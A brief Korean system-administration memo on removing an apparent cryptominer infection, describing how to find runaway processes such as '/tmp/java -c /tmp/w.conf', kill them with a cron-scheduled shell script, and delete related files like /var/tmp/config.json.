0-1. top을 해서 cpu나 메모리를 100%이상 사용하는 프로세스를 찾아 지워준다
( "jps -ef | grep 프로세스ID"로 찾아서 반복적으로 지우는 shell프로그램을 만들어 crontab에 등록시켜준다.)
(예,
root@gsda4:/root# ps -ef | grep 19544
root 19544 1 99 22:05 ? 00:41:51 /tmp/java -c /tmp/w.conf
root 23204 18301 0 22:16 pts/0 00:00:00 grep 19544
)
1. shell프로그램을 만들어서 755권한을 부여한후 crontab에 등록해서 특정 문자열이 들어 있는 프로세스를 죽이고 관련 폴더/파일을 삭제한다.
2. /var/tmp/config.json 이 있으면 지워준다.
